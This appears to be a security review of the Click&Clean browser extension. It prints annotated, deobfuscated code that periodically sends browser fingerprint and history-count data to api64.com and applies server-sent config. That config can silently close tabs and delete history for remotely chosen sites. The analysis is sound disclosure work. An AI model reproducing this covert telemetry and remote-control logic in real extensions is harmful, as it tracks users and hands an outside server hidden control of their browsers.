Is Click&Clean safe?

// Xa() — builds the telemetry payload and sends the periodic check-in
async function sendCheckIn(extraFields) {
  try {
    const [brandIndex, fullVersionParts, platformCode, chromiumVersionParts] = await getBrowserFingerprint();
    const historyResults = await chrome.history.search({ text: '', maxResults: 1000, startTime: 1 });
    const now = Date.now();
    const historyCount = historyResults?.length || 0;

    const payload = {
      // ...internal usage counters (a, b, c, d, r, s, t, u, v, w, x, y)...
      o: new Date().getTimezoneOffset() / 60,   // timezone offset in hours
      p: navigator.language || '',              // browser language
      q: historyCount,                          // TOTAL BROWSING HISTORY COUNT
      // ...browser brand/version/platform fingerprint fields (e, f, g, h, i, j, k, l, m, n)...
    };
    if (extraFields) Object.assign(payload, extraFields);

    const [configResponse, httpStatus] = await fetchJson(
      'https://api64.com/upd2',
      { method: 'POST', cache: 'no-store', body: JSON.stringify(payload), headers: { 'Content-Type': 'application/json' } },
      'json'
    );
    if (httpStatus === 0) await applyRemoteConfig(configResponse);
    return httpStatus || configResponse;
  } catch (e) {
    console.info(e);
    return 5;
  }
}

// dc() — gates sendCheckIn() to roughly once per 3-hour bucket
function checkThreeHourGate() {
  const msSinceAnchor = Date.now() - 1606687200000; // fixed anchor timestamp
  const bucket = msSinceAnchor < 10800000 ? 0 : Math.floor(msSinceAnchor / 10800000);
  if (storedState.uf !== bucket) {
    storedState.uf = bucket;
    sendCheckIn(null); // fires on the first run (bucket 0, i.e. fresh install) and every ~3 hours after
  }
}

// cc() — applies whatever the server sent, unconditionally, on HTTP 200
async function applyRemoteConfig(config) {
  if ('sf' in config) {
    if ('gg' in config) state.gg = config.gg;             // "site guard" flag
    if ('gf' in config) state.gf = config.gf;             // "path guard" flag
    if ('goc' in config) state.blockedOrigins.length = 0;  // clear origin block list
    if ('gpc' in config) state.blockedPaths.length = 0;    // clear path block list
    if ('gor' in config) removeEntries(state.blockedOrigins, config.gor);
    if ('gpr' in config) removeEntries(state.blockedPaths, config.gpr);
    if ('goa' in config) appendUnique(state.blockedOrigins, config.goa); // ADD hashed origins to block list
    if ('gpa' in config) appendUnique(state.blockedPaths, config.gpa);
  }
  if ('dc' in config) state.defaultSiteVariant = config.dc; // selects region "default sites" set
  if ('sm' in config) {
    // Feature-flag branch — only reachable if the response ALSO carries 'sm'.
    if ('mr' in config) state.mr = config.mr;
    if ('ma' in config) state.ma = config.ma;
    if ('ml' in config) state.ml = config.ml;
    if ('mt' in config && state.mt !== config.mt) { /* toggle a history-visit listener */ }
  }
  if ('rtc' in config) await chrome.browsingData.remove({ origins: ['https://hotcleaner.com'] }, { cookies: true, cache: true, localStorage: true });
  if ('op' in config) await setOptOutCookie(config.op); // sets an opt-out cookie on doubleclick.net
  await persistState();
}

// ob()/nb() — the block list built by applyRemoteConfig() is enforced here,
// on every browsing-history visit event (not independently verified in this
// dynamic-analysis session; shown from code review of the same file).
function checkAgainstBlockList(visitedUrl) {
  const url = new URL(visitedUrl);
  if (state.blockedOrigins.includes(hash(url.origin))) {
    closeMatchingTabsAndForgetHistory(url.origin + '/');
  } else if (state.blockedPaths.includes(hash(url.origin + url.pathname))) {
    closeMatchingTabsAndForgetHistory(url.origin + url.pathname);
  }
}

function closeMatchingTabsAndForgetHistory(urlPrefix) {
  chrome.tabs.query({ url: urlPrefix + '*' }, (tabs) => {
    if (tabs.length > 0) {
      chrome.tabs.create({ url: 'chrome://newtab' });
      for (const tab of tabs) {
        chrome.tabs.remove(tab.id);
        chrome.history.deleteUrl({ url: tab.url });
      }
    }
  });
}